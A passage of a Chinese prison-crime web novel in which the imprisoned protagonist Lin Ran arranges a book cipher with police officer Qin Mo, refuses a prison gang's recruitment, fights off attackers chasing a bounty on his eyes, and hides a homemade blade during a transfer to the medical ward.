“第三天晚上,殡仪车来了。是一辆旧金杯,喷成了黑色,侧面印着‘永安殡仪服务’的字样。
司机是个五十多岁的老头,副驾坐着个戴口罩的年轻人。”
秦墨顿了顿,接下来是重点。
“那年轻人穿着殡仪馆的工装,但裤子是新的,鞋底很干净——
不像常干这行的人。他下车时,左手一直插在口袋里,动作有点僵。”
林燃点点头:“然后呢?”
“我们没立即动手。”
秦墨说,“按你说的,派了个面生的民警,以‘远房表亲’名义去吊唁,送了五百块礼金,跟赵父聊天。
聊到赵永强时,赵父眼神躲闪,手一直抖,有意无意的瞄向面包车那边。”
秦墨深吸一口气。
“就是那个眼神,确认了。”
“什么时候抓的?”
“出殡当天。”秦墨声音压低,几乎成了气音。
“赵永强扮成抬棺的工人,戴着帽子口罩,混在八个人里。棺材抬到灵车后门时,我们的人围了上去。”
她顿了顿,补了一句:
“他没反抗。抓到时,他口袋里有一把自制手枪,三发子弹。”
“四天前。”秦墨说。
“昨天刚完成移交手续。云州市局那边高兴坏了,这是跨省协作的典型案例。我……”
她说到这里,忽然停住了,脸上露出一丝罕见的、属于年轻女孩的得意:
“我……我们局长,他亲自在案情分析会上表扬了我。说我思路清晰,布控得当。”
林燃心里暗笑,秦副局长就是她爸,肯定这时会推自己亲女儿一把。
自己不好表扬,班子其它成员自然会站出来。
果然,秦墨很得意,林燃甚至从没见过她这样的表情。
在他印象里,秦墨永远冷静、专业、带着警校优等生的矜持和距离感。
但此刻,她眼睛亮晶晶的,嘴角忍不住上扬,像个考了满分等待表扬的学生。
“恭喜。”林燃说。
“谢谢。”秦墨笑了,那笑容很短暂,但真实。
“要不是你的分析,这案子还不知道要拖多久。专案组那些人一开始还不信,说我的布控方案太‘野’,结果……”
她没说完,但意思很明显。
“总之,省厅通报表扬。我记了功,可能……很快会提副中队长。”
老子英雄儿好汉,何况还是真有成绩的女儿。
相比前世,这一世,秦墨的提拔在自己影响下,更会坐火箭。
林燃笑了笑:“好事。”
“不用恭喜我。”秦墨摇头。
“功劳是你的。只是……我不能说。”
她犹豫了一下,还是补充道:
“我爸看了案件报告,问思路来源。我说是警校学的案例启发。他……好像不太信,但没再问。”
林燃心里一动。
秦卫国——安江市局副局长,前世他只知道这位领导作风正派,能力很强,但没打过交道。
如果能通过秦墨父亲这条线……
“姚永军那边,有进展吗?”他问。
提到这个名字,秦墨的表情严肃了些。
“有,但不多。”她打开随身带的挎包,从里面抽出一个小笔记本,翻到某一页,
“我托省厅的关系查了。姚永军2000年7月调离安江后,档案确实空白,但有几条模糊的轨迹。”
她看着笔记,一字一句:
“2000年8月,有人在省城海州市见过他,当时他跟几个外商模样的人在一起。
地点是……海州国际酒店。”
“外商?”
“对。我顺着这条线往下摸,发现他可能跟一家公司有关。”
秦墨抬起头,目光锐利。
“昌荣国际,一家做进出口贸易的公司,注册地在海州。
但业务范围很广,涉及建材、化工、甚至……艺术品。”
林燃记下了这个名字。
昌荣国际。
“公司背景查了吗?”
“查了表面信息。”秦墨合上笔记本。
“法人代表叫刘昌荣,海州本地人,五十多岁,没什么前科。但公司的股东结构很复杂,有外资背景,而且……”
她犹豫了一下:
“而且我查到,这家公司2000年6月——就是你出事那个月——刚完成一轮增资。
注册资本从五十万增加到一千万。资金来源不明。”
林燃抬头。
时间点太巧了。
2000年6月,他被姚永军招募。
同月,昌荣国际增资。
7月,姚永军调离。
这三件事之间,有没有联系?
“我需要你帮我查两件事。”
林燃说,声音压得很低。
“你说。”
“第一,秘密调查昌荣国际的背景,尤其是2000年前后的业务往来、资金流动。
重点查姚永军是否还在用这个名字活动,或者有没有化名。”
秦墨点头:“这个我可以试试,但需要时间。涉外公司查起来麻烦,而且……”
“而且可能涉及敏感领域。”
林燃接话,“我知道。所以更要小心。”
“第二件呢?”
“第二,”林燃看着她,眼神深沉。
“查2000年6月12日,城西老码头三号仓库毒品交易案的原始报案记录和出警干警名单。”
秦墨愣住了:
“你是说……你被抓的那次?”
“对。”
林燃说。
“我要知道,那天晚上到底是谁报的案,又是谁带队出的警。
这些信息在案卷里可能被修改过,但原始记录应该还在。”
秦墨沉默了几秒,缓缓点头:
“这个我会查。市局的指挥中心我有熟人,但……但也不一定查得到。”
林燃见对方眼神闪烁。
明白秦墨犹豫了。
查记录对于这前途大好的警界新星来说不难。
难的权衡背后的风险。
特别是透露自己单位的敏感信息给眼前的囚犯。
万一……
毕竟两人的关系还没有到那么彼此信任的地步。
彼此心照不宣。
“我明白,你看着办吧。”
会见室陷入短暂的寂静。
秦墨看着林燃,拉碴胡子,浑身是伤,眼神日益阴狠。
这个年轻人,明明和她差不多大,却已经在这堵高墙里挣扎了大半年。
而墙外的世界,有人在算计他,有人想废了他,有人想让他死。
“林燃,”
秦墨忽然开口,声音很轻。
“你在监狱里……是不是惹了什么人?”
林燃挑眉:“为什么这么问?”
“我昨天去局里,听几个老刑警闲聊,说安江监狱最近不太平。”
第五十五章 独狼
秦墨顿了顿,“有人提到你的名字,说你在里面‘很跳’,得罪了不少人。
还有流言说……有人出高价买你的凶。”
林燃笑了,笑容很冷:
“消息传得真快。”
他知道什么“听到老刑警闲聊”肯定是假的。
是这姑娘在想方设法打听自己,想搞清楚这合作对象到底多危险。
“是真的?”秦墨脸色变了。
“真的假的不重要。”
林燃说,“重要的是,我还站着。”
秦墨看着他,想说些什么,最终叹了口气:
“你小心点。监狱里的事,我帮不上忙,但外面……我会尽力。”
“嗯。”
“还有,”秦墨像是想起什么。
“我们得约定个联系方式,总是会见也不太好,能不能书信……”
“不能。”林燃摇头。
“监狱里的书信往来会被检查,电话也被监听。想要联系,得用别的办法。”
“什么办法?”
林燃思索了片刻:
“你给我寄个包裹。里面放些生活用品,牙膏、肥皂、毛巾之类的。
再放一本《刑法学教程》——要旧版的,1998年那版。”
秦墨疑惑:“《刑法学教程》?”
“对。”林燃说,“你也买一本,明白了吗?”
“这是什么意思?”
秦墨很快反应过来,压低声音道:
“哦!这是密码本!”
“对,到时我在监狱里电话,或者寻呼机留言,提到彩票数字。
你就把对应页码、行、列、组合起来。”
“嗯。这样就可以避开监听。”
秦墨把这些记在心里,郑重地点点头。
“我回去就寄。”
会见时间快到了。
狱警在外面敲了敲门,示意时间到。
“你保重。”
林燃转身就准备走,可没想到。
秦墨却笑着走近了过来。
给他轻轻抱了一下。
女人的幽香和温度。
让林燃一怔。
“喂,这情侣会见,难道一点动作都没有么?愣什么,手抱着我。”
秦墨在耳边低声提示。
他才注意到此时正在狱警的监视下,确实两人太过生疏,容易引起怀疑。
林燃木然抬起手,第一次,这么久,这么漫长的时光里,第一次抱住了一个女孩。
巨大情绪冲击着心扉。
直到秦墨微笑转身,他还愣在那。
…………
探视结束,林燃走得很慢。
左腿的伤还在隐隐作痛,但比起生理上的不适。
秦墨带来的信息和那个突如其来的拥抱,更让他心绪难平。
他低头看了看自己的手,仿佛还能感受到秦墨身上浅淡的香气和温度。
那是一个演戏的拥抱——为了骗过监视的狱警。
可触感太过真实,真实到让他想起另一个时空里。
那些早已模糊的、属于正常年轻人的悸动。
“燃哥?”
周晓阳的声音把他拉回现实。
监舍门口,年轻人拄着一根用床板条拆成的简易拐杖。
正焦急地张望。见林燃回来,明显松了口气。
“没事。”林燃摆摆手,走进312。
他扶着墙,慢慢走到自己床边坐下。
左腿的钝痛在布洛芬药效过后又开始隐隐发作。
但比起这个,他脑子里此刻翻腾的是更多东西。
姚永军、昌荣国际、码头三号仓库的报案记录……
以及,笑面佛陈有仁。
他闭上眼,将思绪强行按捺下去,开始梳理眼前最迫切的威胁。
笑面佛。
这个人像毒蛇,暂时退去。
只是因为还没找到合适的角度下口。
腿伤要尽快养好。
不过好在内忧已经解决,监舍里算是控制住。
外部的援手,林燃开始考虑起加入帮派的事。
仿佛是为了印证他的想法,中午食堂吃饭。
大眼仔手下过来,请林燃过去吃“小炒”。
算是请客。
食堂的角落里摆着两张相对干净些的木桌,这就是“小炒区”。
在安江监狱,能在这里吃饭本身就是一种地位的象征。
林燃在刀疤辉搀扶下走过来时,大眼仔已经坐在那儿了。
桌上摆着几样菜:
一盘青椒炒肉片,油光发亮;
一盆西红柿鸡蛋汤,撒了点葱花;
还有两碗白米饭,冒着热气。
“坐。”大眼仔指了指对面的凳子,咧嘴笑,“吃点好的,补补。”
林燃坐下,刀疤辉犹豫着没动。
大眼仔看着这个之前笑面佛的马仔。
此时却对林燃毕恭毕敬,他眼神本有些疑惑。
但看到刀疤辉的左手的小指后,他就明白过来。
“你也坐。”大眼仔对刀疤辉说,“多个人多双筷子。”
刀疤辉这才在林燃旁边坐下。
大眼仔夹起一筷子肉片放进林燃碗里:“尝尝,不比外面的差。
后厨老王是我老乡,手艺还可以。”
林燃没客气,低头扒饭。
青椒肉片的肉是正经五花肉,炒得嫩滑,辣椒的香气很足。
米饭也煮得恰到好处,粒粒分明。
在监狱里吃了大半年窝头菜汤,这一顿小炒简直是奢侈。
“你腿怎么样?”大眼仔问,眼睛却盯着林燃的脸。
“小事。”林燃嚼着米饭,“快好了。”
“那就好。”大眼仔端起汤碗喝了一口。
“船爷让我问问你,考虑得怎么样了?”
林燃停下筷子:“考虑什么?”
“装傻是吧?”大眼仔笑,
“加入码头帮的事。上次拳赛你赢了猴子,船爷很满意。
他说了,只要你点头,以后就是自己人。三监区这边,你管。”
这话说得很直接。
在监狱里,帮派拉拢人一般不会这么赤裸裸。
总要有个过程,试探、考验、再给甜头。
但大眼仔显然没这个耐心,或者说,船爷没这个耐心。
现在三监区里林燃炙手可热。
他夹了块肉片,慢慢嚼着。
加入码头帮,意味着有了靠山,有了资源,不用再独自面对笑面佛的威胁。
但也意味着彻底卷入帮派斗争,成了别人手里的刀。
更重要的是,一旦打上码头帮的烙印,以后想脱身就难了。
“船爷的好意我心领了。”林燃放下筷子,“但我想了想,暂时还是自己单干。”
大眼仔脸上的笑容淡了些。
“林燃,你是个聪明人,应该知道监狱里的规矩。”
第五十六章 买眼
他点了根烟,深吸一口。
“独狼混不长。你这次能打赢猴子,是运气,也是本事。
但下次呢?下下次呢?笑面佛不会放过你。
外面还有人买你的命,你一个人扛得住?”
“扛不住也得扛。”
林燃说。
“但我可以跟码头帮合作,不是加入。”
“合作?”大眼仔挑眉。
“对。”林燃看着他,
“我帮你们办事,你们给我钱。”
各取所需,但名义上我不属于任何帮派。”
大眼仔沉默了几秒,烟头在指间明灭。
“你这是在玩火。”
他吐出一口烟。
“监狱里没有中间地带。你不是我的人,出了事我不会保你。
同样的,你要是在三监区搞出什么名堂,功劳也不是我的。”
“我知道。”林燃点头,“但这样对大家都好。
我保持独立,可以帮你做很多你不能直接做的事。比如——”
他顿了顿:“对付笑面佛。”
大眼仔眼睛一亮:“怎么说?”
“笑面佛想申请保外就医。”
林燃压低声音,“这事你知道吗?”
“没听说啊!”大眼仔啐了口唾沫
“艹艹艹!难怪他最近那么多动作,是想出去前,把里面的事摆平!这烂巴子东西……”
大眼仔骂了一气才停口,他看着眼前林燃。
见对方笑的有深意。
“怎么,你有想办法?”
“办法……我可以有。”
林燃说得很含糊。
大眼仔盯着林燃看了几秒,忽然笑了:
“你小子,看起来生嫩,实际肚子里坏水不少。”
“彼此彼此。”
两人相视一笑,气氛缓和了些。
大眼仔又给林燃夹了块肉:“行,既然你这么说了,我回去跟船爷说说。
不过林燃,我得提醒你,这条路不好走。你要当独狼,就得有独狼的觉悟——
所有人都可能是你的敌人。”
“我明白。”
饭吃到一半,大眼仔忽然想起什么,凑近了些,声音压得很低:
“对了,有件事得告诉你。黑市上又有新动静了。”
林燃心里一紧:“什么动静?”
“有人出两万。”
大眼仔盯着他的眼睛,“买你的眼。”
空气仿佛凝固了。
刀疤辉手里的筷子“啪嗒”掉在桌上。
林燃的表情没什么变化,只是瞳孔微微收缩:“消息准吗?”
“准。”大眼仔点头。
“我的人打听来的,价格比之前翻了一倍。
而且这次只要眼睛,活的死的都行。”
“知道是谁吗?”林燃问。
“不知道。”大眼仔摇头。
“钱是从外面进来的,走的还是笑面佛的路子,而且……”
他顿了顿,声音更低了:“我听说,很多人想接。”
林燃没说话,只是慢慢咀嚼着嘴里的饭菜。
青椒肉片突然没了味道。
“你小心点。”大眼仔拍拍他的肩膀,
“现在你不是我们的人,说这些,我已仁至义尽。”
“嗯。”
这顿饭的后半段吃得很沉默。
大眼仔抽完第三根烟,起身拍了拍屁股:
“行了,我先走了。钱的事你放心,之前那五千已经到你指定的账上,剩下的五千也是那里?”
林燃摇头:“你先帮我存在外面,到时我指定地方再付。”
这次转钱引发的系列曲折,让林燃明白了现金途径在这里的巨大意义。
母亲那里有五千,暂时够用。
这五千,可以用作别的地方。
这下,赌球局赚的钱,已经兑完了。
只剩下百来个的“点数”,只能在监狱“小卖部”、“食堂”、犯人间兑换些吃食、烟之类的。
身上又快没钱了。
得再搞钱。
“也行。”
大眼仔点头起身,“等你康复,下次再有黑拳,也找你啊。”
他转身离开,留下林燃和刀疤辉坐在原地。
“燃哥……”刀疤辉声音有点发紧,“两万……买眼睛……”
“听见了。”林燃平静地说,“吃饭。”
“可是……”
“吃饭。”
周晓阳不再说话。
林燃也一口一口,嚼得很慢。
两万买眼睛。
比之前买腿的价格翻了一倍。
这说明什么?说明幕后的人急了。
或者说,他们发现单纯的肢体伤害不足以吓阻自己,所以要下更狠的手。
瞎了,就再也看不清东西,查不了案,翻不了身。
够毒。
吃完饭,两人收拾碗筷离开小炒区。
食堂里已经没什么人了,大部分犯人都回了监舍午休。
长长的走廊里灯光昏暗,只有尽头值班室透出一点亮光。
林燃没有搭刀疤辉的肩膀,走得很慢。
他不想在外面显得自己有伤。
刀疤辉跟在旁边,警惕地左右张望。
“燃哥,咱们快点吧。”刀疤辉小声说,“这里太空了。”
“急什么。”林燃说,“该来的总会来。”
话音刚落。
前方走廊转角处的阴影里,突然闪出三个人影。
他们没穿囚服外套,只着汗衫,露出的手臂上纹着杂乱的图案。
为首的是个满脸横肉的光头,眼睛很小,像两条缝,此刻正死死盯着林燃。
刀疤辉浑身肌肉瞬间绷紧,跨前半步挡在林燃身前。
“刀疤辉?”
看清刀疤辉站位后,光头咧开嘴,露出满口黄牙:“刀疤辉?你他妈现在跟这新来的混了?”
“少废话。”刀疤辉声音发沉,“让开。”
“让开?”光头身后一个瘦高个嗤笑,“两万块呢,你说让就让?”
第三个是个矮壮汉子,手里拎着一截用从监狱车间想办法弄出来的短铁管。
在掌心掂了掂,发出沉闷的“噗噗”声。
林燃站在原地没动,目光扫过三人。
不是笑面佛的人——至少不是核心手下。
应该是外围的马仔,或者干脆是接了黑市悬赏的亡命徒。
“谁派你们来的?”林燃问,声音很平静。
“没人派。”光头嘿嘿笑,“
就是看你值钱,想赚点烟钱。林燃,你自己把眼睛抠出来,我们不动你。不然……”
他晃了晃拳头:“我们帮你抠。”
刀疤辉回头看了林燃一眼,低声道:
“燃哥,你先走,我顶着。”
“你顶不住。”林燃说得很直白。
三个人,都有家伙。刀疤辉虽然壮,但左手小指刚断,使不上力。
自己腿伤未愈,真要打起来,吃亏的概率大。
这条走廊很长,尽头是死路。
往回走?
但林燃腿受伤,跑也不是办法。
只能打。
第五十七章 干架
林燃深吸一口气,左腿的疼痛在此刻反而变得清晰。他微微屈膝,重心移到右腿,双手自然下垂——这是警校搏击课的预备姿势。
“哟,还摆架势呢?”瘦高个讥讽,“瘸了一条腿还想打?”
“试试就知道了。”林燃说。
话音落下的瞬间,矮壮汉子动了!
他速度极快,铁管带着风声砸向林燃的脑袋!
这一下要是砸实了,不死也得昏。
但林燃没躲。
因为他在赌!
赌刀疤辉会挡。
果然——
“操你妈!”
身前的刀疤辉怒吼一声,右臂横抬,硬生生用胳膊肘架住了铁管!
砰!闷响在走廊里回荡。刀疤辉整条右臂瞬间麻木,但他咬紧牙关。
左手顺势抓住铁管,用力往回拽!
矮壮汉子没想到刀疤辉这么拼,被拽得一个踉跄。
刀疤辉趁机抬膝,狠狠撞在他腹部!
“呃啊!”矮壮汉子痛呼一声,松开铁管,弯腰呕吐。
但另外两人也动了。
光头一拳砸向刀疤辉面门,瘦高个则绕过战团,直扑林燃!
林燃等的就是这一刻。
瘦高个扑来的瞬间,他身体突然往右侧倒——
不是摔倒,而是借势下潜,右腿如蝎尾般弹出,精准地扫在瘦高个支撑腿的脚踝上!
咔嚓!踝骨错位的声音清脆刺耳。
瘦高个惨叫一声,身体失衡,重重摔在地上。
林燃没给他起身的机会,右手并指如刀,狠狠戳在他颈侧动脉处!
这一下用了巧劲,不致命,但足够让他暂时缺氧昏迷。
瘦高个两眼一翻,软了下去。
另一边,刀疤辉和光头已经扭打在一起。
刀疤辉虽然壮,但左手有伤,只能单手格挡,很快落了下风。
光头一拳砸在他鼻梁上,鲜血喷溅。
“刀疤辉!”林燃喊了一声,从地上捡起那截铁管,抡圆了砸向光头后背!
光头听到风声,想要躲闪,但刀疤辉死死抱住了他的腰。
咚!铁管结结实实砸在肩胛骨上。
光头痛得嘶吼,反手一拳砸在刀疤辉脸上。
刀疤辉被打得眼冒金星,却仍不松手。
林燃第二下紧接而至,这次砸的是膝盖侧后方。
咔嚓!又是一声脆响。
光头右腿一软,跪倒在地。
林燃没停,铁管第三次落下,这次是后脑——但收了力,只砸昏,不砸死。
光头身体一僵,缓缓瘫软。
刀疤辉松开手,抹了把脸上的血,鼻梁歪了,牙齿也松了几颗。
但他咧开嘴笑了:“燃哥……牛逼。”
林燃扔掉铁管,扶着墙喘气。
左腿的伤处传来撕裂般的痛,刚才那几下动作太大,伤口可能又裂开了。
“还能走吗?”他问刀疤辉。
“能。”
刀疤辉挣扎着站起来,一脚踢在昏迷的光头脸上,“妈的,敢打老子脸……”
就在这时,走廊另一端传来急促的脚步声!
“燃哥!”
是周晓阳的声音!
只见周晓阳拄着拐杖,一瘸一拐地冲过来,身后还跟着牛哥和麻杆——
三人冲到林燃身边,看到他脸上的血痕,周晓阳眼睛瞬间红了:“燃哥,你没事吧?”
“操!敢动我们燃哥!”刀疤辉红着眼吼道,虽然满脸是血,气势却更凶了。
“死不了。”
林燃看了眼地上的三个袭击者。
“来得正好。”
刀疤辉已经走到那个还在呻吟的矮壮汉子面前,一脚踩在他手上:
“说,谁让你们来的?”
矮壮汉子痛得直抽气:
“没、没人……黑市悬赏……两万块买他的眼睛……”
“放屁!”刀疤辉脚下用力。
“就你们三个杂碎也敢接两万的活儿?背后是谁?”
“真、真是黑市……”矮壮汉子哭嚎起来。
“我们就是想赚点钱……大哥饶命……”
林燃示意刀疤辉松开脚。
他走到矮壮汉子面前蹲下,盯着他的眼睛:“悬赏是谁发的?”
“不、不知道……中介是大眼仔那个圈子的,我们只是听说了消息……”
大眼仔的圈子?码头帮?
林燃眼神一冷。
大眼仔刚拉拢自己不成,转头就有人从他那圈子里接了悬赏来动自己?
是巧合,还是试探?
“燃哥,怎么处理?”刀疤辉问。
林燃站起身,看着地上三个昏迷或呻吟的人:
“拖到厕所去。扒了衣服,扔进便池。”
刀疤辉愣了一下,随即明白了——
这是要羞辱他们,也是给其他想接悬赏的人看:
敢动林燃,这就是下场。
“牛哥,麻杆,搭把手。”
刀疤辉招呼道。
四人一起动手,把三个袭击者拖进旁边的厕所隔间。
扒衣服,扔进便池,动作干脆利落。
周晓阳守在门口望风,虽然腿伤未愈,但眼神警惕。
做完这一切,五人互相搀扶着往312监舍走。
走廊里恢复了寂静。
只有脚步声和粗重的喘息。
“燃哥,”
刀疤辉边走边说,“这次是三个杂碎,下次万一笑面佛亲自派人……”
“那就来。”
林燃声音很平静,“监狱里就是这样,要么打服他们,要么被打服。”
回到监舍。
借着灯光,这下看清刀疤辉鼻梁骨歪了,满脸是血,肿得猪头一样。
特别替林燃挡那一下,半个手臂更是废了,耸拉着垂落。
现在危机暂时解除,肾上腺素的效果褪去,疼的刀疤辉惨叫连连。
“我去找纱布!”周晓阳挣扎着要起身。
“不用。”林燃从枕头底下摸出苏念晚给的那袋药品——
还剩半卷纱布、一瓶碘伏、几片止痛药。
他熟练地消毒、上药,重新包扎,动作快而稳口。
等敷好伤。
刀疤辉嘶嘶的抽着气,盯着林燃的动作,眼神复杂。
“燃哥,”刀疤辉有些感动地说,“……辛苦你了”
“你替我挡了一下,这辛苦什么。”林燃包好伤口,递给他两片止痛药。
“这你明天要去医务室看下,就说自己走路不小心摔了”
“好的。”
回到312监舍,气氛和之前有些不同。
狭窄的空间里弥漫着血腥味和碘伏的辛辣。
但某种紧绷的东西松动了。
林燃靠在墙边,看着眼前几张脸——
刀疤辉肿着脸龇牙咧嘴,周晓阳担心的看着他。
连牛哥和麻杆都眼含关切,眼神里没了以往的闪烁。
“都过来。”
第五十八章 违禁品
林燃从枕头底下掏出一个皱巴巴的布袋——
上次赌球局“点数结算”时还剩下几包压缩饼干和两盒肉罐头。
监狱里的硬通货。
他拆开饼干,一人分了一包。
再开肉罐头,用磨薄的塑料片切开,每人两三指大小的一块肉。
油腥味瞬间弥漫开来,几个人喉结都在滚动。
在监狱里难见荤腥。
“吃。”
林燃自己先咬了一口,肉脂顺着喉咙下咽。
无上美味。
刀疤辉接过罐头肉,没急着吃,捏在手里看了看,咧嘴笑——
这一笑扯到伤口,又疼得倒吸冷气:“燃哥……这算是庆功宴?”
“算个屁。”
林燃淡淡道,“这算啥,以后我带兄弟们天天吃。”
话虽硬,但监舍里的气氛却暖了些。
牛哥小口小口地啃着饼干。
麻杆则小心翼翼地把那块肉罐头含在嘴里,舍不得嚼。
周晓阳把饼干掰碎了泡在热水里,递给刀疤辉一碗,他脸肿了,嘴巴只能张开一半。
监舍铁门被敲响了。
“312,林燃!”
融洽的氛围一凝,林燃抬头。
外面是值班狱警的声音,不算熟,但语气还算正常,“出来一下,接电话。”
探视电话?这个点?
林燃心里一紧,面上却平静。
他把碗放下,撑着床沿起身,伤腿一阵刺痛,他眉头都没皱。
“燃哥,我陪你去?”周晓阳要站起来。
“不用。”林燃摆摆手,独自走出监舍。
走廊里灯光惨白。
电话探视室在监区办公楼一楼,是个狭窄的小隔间。
里面只有一张桌子和一部老式电话机。
隔着玻璃窗,能看到狱警坐在外面监视。
林燃在桌前坐下,拿起听筒。
“喂?小燃?”母亲陈水芬的声音从听筒里传来,带着急切和疲惫。
“妈。”林燃深吸一口气,声音立刻变得轻松。
“怎么了?这个时间打电话。”
“我收到钱了!”
母亲的声音带着哭腔,“五千块!小燃,你哪来这么多钱?你、你是不是在监狱里……”
“妈,您别瞎想。”
林燃打断她,语气轻松得像在聊家常。
“是我表现好,监狱给的劳动报酬。我们这儿有劳动车间,我干活卖力,上个月评了先进,这是奖金。”
他说得流畅自然,仿佛真有其事。
窗外的狱警抬头看了他一眼,又低下头继续看报纸。
“真的?”母亲半信半疑,“你可别骗妈……”
“真的。”林燃笑了。
“妈,您儿子是什么人您还不知道?
我从小就老实,在监狱里也是好好改造。
这钱您拿去给爸买药,剩下的您自己留着,别舍不得花。”
电话那头沉默了几秒,传来压抑的抽泣声。
“妈,您别哭。”
林燃握着听筒的手指关节发白,但声音依然温柔。
“我在这儿挺好的,吃得饱睡得着。您和爸保重身体,等我出去,咱们一家团圆。”
“小燃……”母亲的声音抖得厉害,“你在里面……没被人欺负吧?”
“谁敢欺负我?”
林燃笑出声,“您儿子可是……你知道的,我体格好着呢。
我在这儿表现好,协助管教整理图书,还帮忙解决了几次犯人纠纷,干部可喜欢我了。”
他说得天花乱坠,脸上的表情却一片冰冷。
左腿的骨裂处隐隐作痛,但他不能让母亲听出任何异样。
“那就好……那就好……”
母亲喃喃着,“小燃,你一定要好好的,妈等你出来……”
“嗯。”林燃闭上眼睛,“妈,电话时间快到了。
您记得拿钱去给爸看病,别省着。我这边什么都好,您放心。”
挂断电话的瞬间,他整个人像是被抽空了力气。
靠在椅背上,额头抵着冰冷的玻璃。
窗外的狱警敲了敲玻璃:“时间到了。”
林燃缓缓起身,一步一步挪回监舍。
众人看到林燃回来,立刻问:“燃哥,没事吧?”
“没事。”林燃坐回铺位,脸色有些苍白。
“都休息吧。晚上可能会不太平。”
他心里清楚,今天食堂那一战虽然赢了。
但也暴露了自己腿伤的事实。
笑面佛……还有那些伺机而动的势力,都不会放过这个机会。
果然,下午四点半,监舍铁门突然被打开。
两个狱警站在门口,其中一个正是之前带林燃去电话探视的那个生面孔。
“312林燃,收拾东西。”狱警面无表情地说。
监舍里所有人都愣住了。
“什么意思?”刀疤辉站起来,警惕地问。
“林燃腿伤需要治疗,调往医疗监区。”
狱警冷冷地说,“这是上面的决定。”
医疗监区?
林燃心脏一沉。监狱的医疗监区在另一栋楼,专门收治需要长期治疗或管控的犯人。
那里管理更严格,犯人更少,而且——
脱离了三监区的势力范围。
这是,想要把他从当前环境分割开来。
“燃哥腿伤不重,我们这儿能照顾!”
周晓阳急着说。
“这是命令。”
狱警不为所动,“林燃,给你五分钟收拾东西。”
刀疤辉脸色铁青,拳头握紧了。
牛哥和麻杆吓得缩在角落,不敢说话。
林燃慢慢坐起来,看着门口的狱警,又看了看监舍里几张紧张的脸。
“好。”他说。
没有争辩,没有反抗。
因为他知道,这一定是幕后黑手的手笔——
昨天看到312意外的团结,趁他腿伤未愈,将他从312这个已经掌控的监舍调走,调到一个完全陌生的环境,然后……
行凶。
“燃哥!”刀疤辉急声道,“你不能去!那里——”
“没事。”林燃打断他,开始慢慢收拾自己的东西——
几件换洗囚服、一小袋药品。
狱警站在门口不耐烦地敲了敲门框:“快点!”
林燃动作很慢。
他跪在铺位前,把几件换洗囚服叠好,那袋药品塞在最下面。
手指在枕头底下摸索时,心里突然一沉——小刀的硬角抵着掌心。
这是要命的东西。
看到林燃身体一僵,刀疤辉显然也想到了,那小刀他可是亲身体会过的!
监舍瞬间变得紧张。
查出违禁品可是大事!
第五十九章 医疗监区
林燃挪了挪身子,想挡住狱警的视线。
但两个狱警就站在门口,盯着他的一举一动。
“磨蹭什么?”
生面孔狱警皱眉,“所有东西都要检查!”
林燃手指在枕头下停顿了一秒。
如果现在拿出来,肯定会被发现。
一把自制小刀,足够加刑三个月,甚至转去严管监区。
但如果继续藏着,等会儿管教收拾被褥时也会暴露。
就在这电光石火的瞬间——
“报告!”周晓阳突然大声说,撑着拐杖站起来太急,整个人往前一栽!
周晓阳整个人往前一栽,单薄的囚服身子结结实实摔在水泥地上!
“哎哟!”他痛呼出声。
本就包扎着的腿更是磕得一声闷响,脸上瞬间没了血色。
这一下太突然,两个狱警的注意力瞬间被吸引过去。
“干什么!”生面孔狱警喝道。
“对、对不起警官……腿软了……”
周晓阳趴在地上,手捂着伤腿,疼得直抽气,身体却正好挡住林燃床铺前面那一片区域。
电光火石间,林燃动了。
他借着周晓阳摔倒制造的短暂视野遮挡。
右手从枕头底下闪电般抽出那把小刀,手腕一翻。
刀柄向下,在身体和床铺形成的狭窄阴影里,将小刀轻轻抛向斜后方——
那里,刀疤辉正因周晓阳摔倒而本能地往前凑了半步。
刀疤辉只觉得一个冰凉坚硬的小东西擦过自己的囚服裤腿,落在脚边。
他目光一垂,看清是什么后,瞳孔骤缩,但脸上纹丝不动。
他几乎是凭借本能,右脚极其自然地向左挪了半步。
军绿色劳保鞋的厚实胶底,不偏不倚地踩住了那截不到十厘米的磨尖钢片。
鞋底边缘的污泥和尘土,瞬间将其掩盖。
整个过程不到两秒。
生面孔狱警刚走到周晓阳身边,另一个年纪稍大的狱警也探头看向这边。
“怎么回事?”
生面孔狱警皱眉看着地上痛苦蜷缩的周晓阳。
“报、报告警官……”
周晓阳声音发颤,指着因三刀六洞而伤的腿。
“刚、刚才起来太急……腿一痛,没力……”
他疼得直吸气,眼泪都飙了出来,这倒不全是演的。
“麻烦!”生面孔狱警啧了一声,回头看向林燃那边。
林燃已经“勉强”站起身。
左手拎着那个旧布袋,右手扶着床沿,脸色因“腿疼”而显得苍白。
他的床铺上,枕头被掀开一边,下面空空如也,只有压平的稻草垫痕迹。
年长狱警扫了一眼林燃和他的铺位,没发现异常。
又把目光转回周晓阳身上:“能起来吗?”
“我、我试试……”周晓阳挣扎着。
刀疤辉和牛哥赶紧上前搀扶,场面一时有些混乱。
趁这机会,刀疤辉脚下微微用力。
他借着搀扶周晓阳转身的动作,左脚看似随意地将小刀往后一踢——
墙角堆着几件待洗的脏囚服和破布。
那截被踩脏的小刀悄无声息地滑进了那堆杂物最底下。
被一件沾着机油污渍的旧汗衫完全盖住。
他动作连贯,踢刀后,马上跟着去扶周晓阳。
生面孔狱警已经不耐烦了,他对这些犯人的伤情并不真正关心,只想快点完成任务。
“你们两个,扶他去医务室看看。”
他指着牛哥和刀疤辉,看到刀疤辉猪头一样的脸,补充问道:
“你脸又怎么了?”
“报告!上厕所时摔了,不小心摔在……”
“好了好了,你自己也去医务室看。”
狱警不等他说完,就随手一指。
然后回头盯着林燃,“你,东西收好没有?”
“好了。”
“打开,检查。”
林燃将手里瘪瘪的布袋口拉开,露出里面几件旧囚服、杯子、牙刷。
狱警夺过来仔细看了看,又伏身探了探他的床位,像是要确定什么。
可一番查找后毫无收获,只得挥挥手:“走。”
林燃拎着包,一瘸一拐地走向门口,经过刀疤辉身边时,两人目光极快地对视了一瞬。
刀疤辉几不可察地微微颔首。
铁门打开,林燃被两个狱警夹在中间走了出去。
走廊很长,脚步声在空旷中回响。
经过医务室所在的岔口时,门正好打开。
苏念晚从里面走出来,手里拿着一叠病历。
她穿着白大褂,头发挽的温婉,看到林燃的瞬间,脚步顿住了。
四目相对。
林燃眼神很冷——
医疗监区的调令需要医务室出具证明。
他的腿被“猴子”一脚踢成骨裂,虽然不轻。
但绝对没到需要转区治疗的程度。
之前他也明确拒绝了转区的提议。
苏念晚是医生,只要她说不必要,调令就不可能通过。
除非她同意了。
或者说,除非她被人利用了。
苏念晚嘴唇动了动,似乎想说什么。
但两个狱警就在旁边,她最终只是低下头,抱着病历快步离开。
